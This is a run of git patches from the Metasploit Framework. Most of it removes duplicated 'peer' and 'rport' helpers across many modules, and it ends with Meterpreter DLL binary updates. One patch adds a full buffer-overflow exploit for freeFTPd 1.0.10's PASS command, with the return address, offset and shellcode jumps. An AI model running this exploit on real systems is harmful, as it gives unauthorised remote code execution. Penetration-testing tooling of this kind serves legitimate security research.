a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index a78f0077f9..09c45e8610 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -46,14 +46,6 @@ class Metasploit4 < Msf::Auxiliary end - def rport - datastore['RPORT'] - end - - def peer - "#{rhost}:#{rport}" - end - def run_host(ip) traversal = "..\\" * datastore['DEPTH'] diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index 6e81d3614d..7848dee914 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -47,14 +47,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - - def peer - "#{rhost}:#{rport}" - end - def run_host(ip) record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>#{datastore['RFILE']}</PATH></RECORD>" diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 4561e0835f..23e6761974 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -32,10 +32,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def run_host(ip) File.open(datastore['TARGETURIS'], 'rb').each_line do |line| test_uri = line.chomp diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb index 1556008cf8..23566ad87a 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -51,12 +51,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end - - def peer - "#{rhost}:#{rport}" - end - - def auth(username, password, sid, last_login) res = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index cf601dbc20..503a510e31 100755 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -70,12 +70,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - - def check @cookie = '' diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index 7b21059133..e20321aeb9 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -79,10 +79,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def lookup_lhost() # Get the source address if datastore['SRVHOST'] == '0.0.0.0' diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 1a3e0771a0..5b212d8bad 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -56,10 +56,6 @@ class Metasploit3 < Msf::Exploit::Remote return target_uri.path end - def peer - return "#{rhost}:#{rport}" - end - def check # Check version print_status("#{peer} - Trying to detect installed version") diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 0dd186995c..17f5056174 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -53,12 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - - # # Checks if target is running HavaLite CMS 1.1.7 # We only flag 1.1.7 as vulnerable, because we don't have enough information from diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index ef9d524fb2..e0bb46ca5a 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -65,10 +65,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def peer - return "#{rhost}:#{rport}" - end - def check res = get_upload_form diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 3ca5daf2a8..9c7f083ae5 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -53,12 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - - def check res = send_request_raw({'uri' => normalize_uri(target_uri.path)}) if not res diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 3cac9adbdd..32971f4c03 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -66,10 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote return uri end - def peer - "#{rhost}:#{rport}" - end - def remote_exe(command) res = send_request_cgi({ 'uri' => "#{base}backend.php", diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index e0632fed3d..62d564a5be 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -52,10 +52,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def uri return target_uri.path end diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 07251891a0..7436cfa6ac 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -55,10 +55,6 @@ class Metasploit3 < Msf::Exploit::Remote return target_uri.path end - def peer - return "#{rhost}:#{rport}" - end - def check # Check version print_status("#{peer} - Trying to detect ZeroShell") diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index a3dc775312..889a21a8a6 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -56,12 +56,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - - def check res = send_request_raw({'uri' => normalize_uri(target_uri.path)}) if not res diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb index cbf47b6e1b..6e105ad234 100644 --- a/modules/exploits/windows/http/hp_mpa_job_acct.rb +++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb @@ -57,10 +57,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def webfolder_uri begin u = datastore['WRITEWEBFOLDER'] diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index bf1dd3e84d..fe9cd6053e 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -116,10 +116,6 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - def peer - return "#{rhost}:#{rport}" - end - def exploit print_status("#{peer} - Getting a valid session...") session = get_session diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index d24d458f5c..662990ed3a 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -114,10 +114,6 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - def peer - return "#{rhost}:#{rport}" - end - def exploit print_status("#{peer} - Getting a valid session...") session = get_session diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index e68106abca..93c2446064 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -64,10 +64,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def peer - "#{rhost}:#{rport}" - end - def check begin diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb index c75a6e128a..0c0f46ef3f 100644 --- a/modules/exploits/windows/http/novell_mdm_lfi.rb +++ b/modules/exploits/windows/http/novell_mdm_lfi.rb @@ -53,10 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def get_version version = nil diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index 409a8de3fd..ed66e8350f 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -55,10 +55,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def version_soap soap = <<-eos <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0"> diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb index 241db30104..e5afef18e3 100644 --- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb +++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb @@ -92,10 +92,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def peer - "#{rhost}:#{rport}" - end - def exploit # In order to save binary data to the file system the payload is written to a .vbs From 09fa7b76921ab4c5fd27784f5131ce405d482853 Mon Sep 17 00:00:00 2001 From: FireFart <FireFart@gmail.com> Date: Wed, 25 Sep 2013 23:50:34 +0200 Subject: [PATCH 045/210] remove rport methods since it is already defined in Msf::Exploit::Remote::HttpClient --- modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb | 4 ---- modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb | 4 ---- modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb | 4 ---- modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb | 4 ---- .../scanner/http/hp_sitescope_getfileinternal_fileaccess.rb | 4 ---- .../scanner/http/hp_sitescope_getsitescopeconfiguration.rb | 4 ---- .../scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb | 4 ---- .../scanner/http/sap_businessobjects_version_enum.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb | 4 ---- .../auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb | 4 ---- .../auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb | 4 ---- modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb | 4 ---- .../scanner/scada/indusoft_ntwebserver_fileaccess.rb | 4 ---- 20 files changed, 80 deletions(-) diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index a94cd3a8ef..d0efec2922 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -45,10 +45,6 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end - def rport - datastore['RPORT'] - end - def run_host(ip) soapenv='http://schemas.xmlsoap.org/soap/envelope/' soapenvenc='http://schemas.xmlsoap.org/soap/encoding/' diff --git a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb index 3b86b26310..a73d5cfc27 100644 --- a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb +++ b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb @@ -41,10 +41,6 @@ class Metasploit4 < Msf::Auxiliary register_autofilter_ports([ 50013 ]) end - def rport - datastore['RPORT'] - end - def run_host(ip) # Check version information to confirm Win/Lin diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb index 7cd8a3e1af..464bd07bfd 100644 --- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -38,10 +38,6 @@ class Metasploit3 < Msf::Auxiliary end - def rport - datastore['RPORT'] - end - def run record = "<RECORD>" record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index 5ee7f96f4b..f0582bd158 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -52,10 +52,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) uri = normalize_uri(target_uri.path) res = send_request_cgi({ diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index 8c5520f18b..b60e114e48 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) @peer = "#{rhost}:#{rport}" @uri = normalize_uri(target_uri.path) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 3e473fde5b..6ce2410a29 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -49,10 +49,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) @peer = "#{rhost}:#{rport}" @uri = normalize_uri(target_uri.path) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index a407afe910..017386429e 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) @peer = "#{rhost}:#{rport}" @uri = normalize_uri(target_uri.path) diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index c4efa98410..861df7236b 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -37,10 +37,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb index 97ad94550e..48fc715810 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb @@ -35,10 +35,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb index 03ecec680b..87f7e8b863 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb index 3865457ebd..c0b7982e1b 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb index fc5407c89d..d8cd96988c 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb index 6f325fab58..1bc6d2b266 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -47,10 +47,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index 8aca0777d1..9f3916f78d 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -41,10 +41,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb index 2ea1c238ce..475e2a42ef 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb @@ -39,10 +39,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb index 9ec4461cd5..b79efb90d2 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index b1b50210ba..0dd80a28fa 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -40,10 +40,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb index 54c17c9f47..b6bc09bf83 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb index 02c438ebde..eb466edee9 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index bb2c7a291a..3be16c6c72 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -47,10 +47,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => "/", From 0339c3ef486910b0596ed838bce9be3534ecaf24 Mon Sep 17 00:00:00 2001 From: TecR0c <roccogiovannicalvi@gmail.com> Date: Thu, 26 Sep 2013 20:37:23 +1000 Subject: [PATCH 046/210] added freeFTPd 1.0.10 (PASS Command) --- modules/exploits/windows/ftp/freeftpd_pass.rb | 101 ++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100644 modules/exploits/windows/ftp/freeftpd_pass.rb diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb new file mode 100644 index 0000000000..ff52a891f8 --- /dev/null +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -0,0 +1,101 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Ftp + + def initialize(info={}) + super(update_info(info, + 'Name' => "freeFTPd 1.0.10 (PASS Command)", + 'Description' => %q{ + freeFTPd contains an overflow condition that is triggered as user-supplied input + is not properly validated when handling a specially crafted PASS command. This + may allow a remote attacker to cause a buffer overflow, resulting in a denial of + service or potentially allowing the execution of arbitrary code. + + FreeFTPd must have account authorization anonymous user account enabled. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Wireghoul', # Vulnerability discovery + 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module + ], + 'References' => + [ + ['OSVDB', '96517'], + ['EDB', '27747'], + ['BID', '61905'] + ], + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d", + }, + 'Platform' => 'win', + 'Arch' => 'ARCH_X86', + 'Targets' => + [ + ['freeFTPd 10.0.10 on Windows (universal)', + { + 'Ret' => 0x004142f0, # pop ebp # pop ebx # ret 0x04 [FreeFTPDService.exe] + 'Offset' => 801, + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Aug 20 2013", + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]), + + ], self.class) + + # We're triggering the bug via the PASS command, no point to have pass as configurable + # option. + deregister_options('FTPPASS') + + end + + def check + + connect + disconnect + + # All versions including and above version 1.0 report + # "220 Hello, I'm freeFTPd 1.0" when banner grabbing + if banner =~ /freeFTPd 1.0/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + + end + end + + def exploit + + connect + print_status("Trying target #{target.name} with user #{user()}...") + + off = target['Offset'] - 9 # 9 => length of jump to get back to sc + + bof = payload.encoded + bof << rand_text(off - payload.encoded.length) + bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string + bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string + bof << rand_text(2) + bof << [target.ret].pack('V') + + send_user(datastore['FTPUSER']) + send_pass(bof) + + end +end From c38f3b4a56fd4bed65749beccf1341914dcaf580 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Fri, 27 Sep 2013 09:31:53 +1000 Subject: [PATCH 047/210] New meterpreter binaries New binaries contain fixes for: * kitrap0d crashing during `getsystem` calls. * https://github.com/rapid7/meterpreter/pull/23 * Meterpreter crashing on XP SP0 in certain scenarios. * https://github.com/rapid7/meterpreter/pull/21 --- data/meterpreter/elevator.x64.dll | Bin 77312 -> 77312 bytes data/meterpreter/elevator.x86.dll | Bin 68608 -> 68608 bytes data/meterpreter/ext_server_espia.x64.dll | Bin 202752 -> 202752 bytes data/meterpreter/ext_server_espia.x86.dll | Bin 204800 -> 204800 bytes data/meterpreter/ext_server_incognito.x64.dll | Bin 90112 -> 90112 bytes data/meterpreter/ext_server_incognito.x86.dll | Bin 75776 -> 75776 bytes .../meterpreter/ext_server_lanattacks.x64.dll | Bin 228352 -> 228352 bytes .../meterpreter/ext_server_lanattacks.x86.dll | Bin 186368 -> 186368 bytes data/meterpreter/ext_server_mimikatz.x64.dll | Bin 545792 -> 545792 bytes data/meterpreter/ext_server_mimikatz.x86.dll | Bin 414208 -> 414208 bytes data/meterpreter/ext_server_priv.x64.dll | Bin 121344 -> 121856 bytes data/meterpreter/ext_server_priv.x86.dll | Bin 105984 -> 105984 bytes data/meterpreter/ext_server_sniffer.x64.dll | Bin 432128 -> 432128 bytes data/meterpreter/ext_server_sniffer.x86.dll | Bin 432128 -> 432128 bytes data/meterpreter/ext_server_stdapi.x64.dll | Bin 405504 -> 405504 bytes data/meterpreter/ext_server_stdapi.x86.dll | Bin 376832 -> 376832 bytes data/meterpreter/metsrv.x64.dll | Bin 970240 -> 970240 bytes data/meterpreter/metsrv.x86.dll | Bin 770048 -> 770048 bytes data/meterpreter/screenshot.x64.dll | Bin 202240 -> 202240 bytes data/meterpreter/screenshot.x86.dll | Bin 203776 -> 203776 bytes 20 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index cebe0962669d223c5e5a2f4c69fb9967e3071e24..b8ccc6f20f4598776026a4024a5e32f4fb0d02de 100755 GIT binary patch delta 33 ncmZp;!_shvWx@yMvi&X-Kl?H(TQhEUX1w?h#NR5;_)-@D`fLsr delta 33 ncmZp;!_shvWx@yMxa~F*Kl?I2(qh`|%y{u1h`&{w@ue;R0a*@o diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll index 03aebf56309df3554314593ec4d60677418c0cf0..6bf61b60da35576c96688dbb29307000706f491e 100755 GIT binary patch delta 32 mcmZpe!O}2;Wx@w$nf)#kKl?IiZP@I@D0B_P-5h>>r3nDoLk&g% delta 32 mcmZpe!O}2;Wx@yMd)sU#e)eUWH-EDeqtG=FcXRmll_mi6B@YV# diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 624daeb93f0d243c5b6a7ab5f3509da5e06a0197..07e648b7afb38975f6956072c3ea2dff6ddec4f1 100755 GIT binary patch delta 41 vcmZqJz|*jSXTk^O?)@$kKl?KI?re5qY<FU0-0sB46m%6NynXsLrc6fwX50{X delta 41 vcmZqJz|*jSXTk^O>g_fYKl?Jtu55N<Y<FU0-0sB46m%6NynXsLrc6fwTf7hW diff --git a/data/meterpreter/ext_server_espia.x86.dll 